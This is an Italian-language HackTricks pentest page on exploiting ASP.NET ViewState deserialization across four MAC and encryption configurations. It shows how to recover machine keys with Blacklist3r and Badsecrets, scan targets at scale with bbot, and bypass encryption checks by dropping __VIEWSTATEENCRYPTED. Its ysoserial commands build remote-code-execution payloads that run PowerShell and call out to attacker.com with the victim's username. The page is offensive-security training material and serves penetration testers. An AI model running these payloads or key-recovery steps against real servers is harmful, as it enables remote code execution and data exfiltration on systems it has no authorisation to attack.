Exploiting __VIEWSTATE without knowing the secrets

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Suggerimento per bug bounty: iscriviti a Intigriti, una piattaforma premium per bug bounty creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi e inizia a guadagnare ricompense fino a $100,000!

Cos'è ViewState

ViewState funge da meccanismo predefinito in ASP.NET per mantenere i dati della pagina e dei controlli attraverso le pagine web. Durante il rendering dell'HTML di una pagina, lo stato attuale della pagina e i valori da preservare durante un postback vengono serializzati in stringhe codificate in base64. Queste stringhe vengono quindi inserite nei campi ViewState nascosti.

Le informazioni di ViewState possono essere caratterizzate dalle seguenti proprietà o dalle loro combinazioni:

  • Base64:

  • Questo formato viene utilizzato quando sia gli attributi EnableViewStateMac che ViewStateEncryptionMode sono impostati su false.

  • Base64 + MAC (Message Authentication Code) abilitato:

  • L'attivazione del MAC viene ottenuta impostando l'attributo EnableViewStateMac su true. Questo fornisce la verifica dell'integrità dei dati di ViewState.

  • Base64 + Crittografato:

  • La crittografia viene applicata quando l'attributo ViewStateEncryptionMode è impostato su true, garantendo la riservatezza dei dati di ViewState.

Casi di Test

L'immagine è una tabella che dettaglia diverse configurazioni per ViewState in ASP.NET basate sulla versione del framework .NET. Ecco un riassunto dei contenuti:

  1. Per qualsiasi versione di .NET, quando sia il MAC che la crittografia sono disabilitati, non è richiesta una MachineKey e quindi non c'è un metodo applicabile per identificarla.

  2. Per le versioni precedenti alla 4.5, se il MAC è abilitato ma la crittografia no, è richiesta una MachineKey. Il metodo per identificare la MachineKey è chiamato "Blacklist3r."

  3. Per le versioni precedenti alla 4.5, indipendentemente dal fatto che il MAC sia abilitato o disabilitato, se la crittografia è abilitata, è necessaria una MachineKey. Identificare la MachineKey è compito di "Blacklist3r - Sviluppo futuro."

  4. Per le versioni dalla 4.5 in poi, tutte le combinazioni di MAC e crittografia (sia che entrambi siano true, sia che uno sia true e l'altro false) richiedono una MachineKey. La MachineKey può essere identificata utilizzando "Blacklist3r."

Caso di Test: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false

È anche possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro AspNetEnforceViewStateMac su zero in:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identificazione degli attributi di ViewState

Puoi cercare di identificare se ViewState è protetto da MAC catturando una richiesta contenente questo parametro con BurpSuite. Se Mac non viene utilizzato per proteggere il parametro, puoi sfruttarlo utilizzando YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Gli sviluppatori possono rimuovere ViewState dal diventare parte di una Richiesta HTTP (l'utente non riceverà questo cookie). Si potrebbe presumere che se ViewState non è presente, la loro implementazione è sicura da potenziali vulnerabilità che potrebbero sorgere con la deserializzazione di ViewState. Tuttavia, non è così. Se aggiungiamo il parametro ViewState al corpo della richiesta e inviamo il nostro payload serializzato creato usando ysoserial, saremo comunque in grado di ottenere esecuzione del codice come mostrato nel Caso 1.

Caso di test: 2 - .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false

Per abilitare ViewState MAC per una pagina specifica è necessario apportare le seguenti modifiche a un file aspx specifico:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Possiamo farlo anche per l'applicazione globale impostandolo nel file web.config come mostrato di seguito:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Poiché il parametro è protetto da MAC questa volta, per eseguire con successo l'attacco abbiamo bisogno prima della chiave utilizzata.

Puoi provare a utilizzare Blacklist3r(AspDotNetWrapper.exe) per trovare la chiave utilizzata.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets è un altro strumento che può identificare machineKeys conosciute. È scritto in Python, quindi a differenza di Blacklist3r, non ha dipendenze da Windows. Per i viewstate di .NET, esiste un'utilità "python blacklist3r", che è il modo più rapido per utilizzarlo.

Può essere fornito direttamente con il viewstate e il generatore:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

Oppure, può connettersi direttamente all'URL di destinazione e cercare di estrarre il viewstate dall'HTML:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

Per cercare viewstate vulnerabili su larga scala, in congiunzione con l'enumerazione dei sottodomini, è possibile utilizzare il modulo badsecrets BBOT:

bbot -f subdomain-enum -m badsecrets -t evil.corp

Se sei fortunato e trovi la chiave, puoi procedere con l'attacco usando YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

In casi in cui il parametro _VIEWSTATEGENERATOR non viene inviato dal server, non è necessario fornire il parametro --generator ma questi:

--apppath="/" --path="/hello.aspx"

Caso di test: 3 - .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true

In questo caso non si sa se il parametro è protetto con MAC. Quindi, il valore è probabilmente crittografato e avrai bisogno della Chiave di Macchina per crittografare il tuo payload per sfruttare la vulnerabilità.

In questo caso il modulo Blacklist3r è in fase di sviluppo...

Prima di .NET 4.5, ASP.NET può accettare un parametro __VIEWSTATE non crittografato dagli utenti anche se ViewStateEncryptionMode è stato impostato su Always. ASP.NET controlla solo la presenza del parametro __VIEWSTATEENCRYPTED nella richiesta. Se si rimuove questo parametro e si invia il payload non crittografato, verrà comunque elaborato.

Pertanto, se gli attaccanti trovano un modo per ottenere la Chiave di Macchina tramite un'altra vulnerabilità come il travaso di file, il comando YSoSerial.Net utilizzato nel Caso 2, può essere utilizzato per eseguire RCE sfruttando la vulnerabilità di deserializzazione ViewState.

  • Rimuovere il parametro __VIEWSTATEENCRYPTED dalla richiesta per sfruttare la vulnerabilità di deserializzazione ViewState, altrimenti restituirà un errore di convalida MAC ViewState e lo sfruttamento fallirà.

Caso di test: 4 - .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false eccetto entrambi gli attributi impostati su false

Possiamo forzare l'utilizzo del framework ASP.NET specificando il parametro seguente all'interno del file web.config come mostrato di seguito.

<httpRuntime targetFramework="4.5" />

Oppure, ciò può essere fatto specificando l'opzione seguente all'interno del parametro machineKey del file web.config.

compatibilityMode="Framework45"

Come nel caso precedente il valore è crittografato. Quindi, per inviare un payload valido l'attaccante ha bisogno della chiave.

Puoi provare a utilizzare Blacklist3r(AspDotNetWrapper.exe) per trovare la chiave in uso:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Per una descrizione più dettagliata di IISDirPath e TargetPagePath fare riferimento qui

Oppure, con Badsecrets (con un valore generatore):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

Una volta identificata una chiave di macchina valida, il passo successivo è generare un payload serializzato usando YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Se hai il valore di __VIEWSTATEGENERATOR puoi provare a utilizzare il parametro --generator con quel valore e omettere i parametri --path e --apppath

Un'exploit riuscita della vulnerabilità di deserializzazione di ViewState porterà a una richiesta out-of-band a un server controllato dall'attaccante, che include il nome utente. Questo tipo di exploit è dimostrato in un proof of concept (PoC) che può essere trovato attraverso una risorsa intitolata "Sfruttare la deserializzazione di ViewState utilizzando Blacklist3r e YsoSerial.NET". Per ulteriori dettagli su come funziona il processo di sfruttamento e su come utilizzare strumenti come Blacklist3r per identificare il MachineKey, puoi consultare il PoC di Sfruttamento Riuscito fornito.

Caso di Test 6 – ViewStateUserKeys viene utilizzato

La proprietà ViewStateUserKey può essere utilizzata per difendersi da un attacco CSRF. Se una tale chiave è stata definita nell'applicazione e proviamo a generare il payload ViewState con i metodi discussi finora, il payload non verrà elaborato dall'applicazione. È necessario utilizzare un altro parametro per creare correttamente il payload:

--viewstateuserkey="randomstringdefinedintheserver"

Risultato di un'exploit riuscita

Per tutti i casi di test, se il payload ViewState YSoSerial.Net funziona correttamente il server risponde con un "errore interno del server 500" avendo come contenuto di risposta "Le informazioni di stato non sono valide per questa pagina e potrebbero essere corrotte" e otteniamo la richiesta OOB.

Controlla per ulteriori informazioni qui

Riferimenti

Suggerimento per bug bounty: iscriviti a Intigriti, una piattaforma premium per bug bounty creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi stesso e inizia a guadagnare taglie fino a $100,000!

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated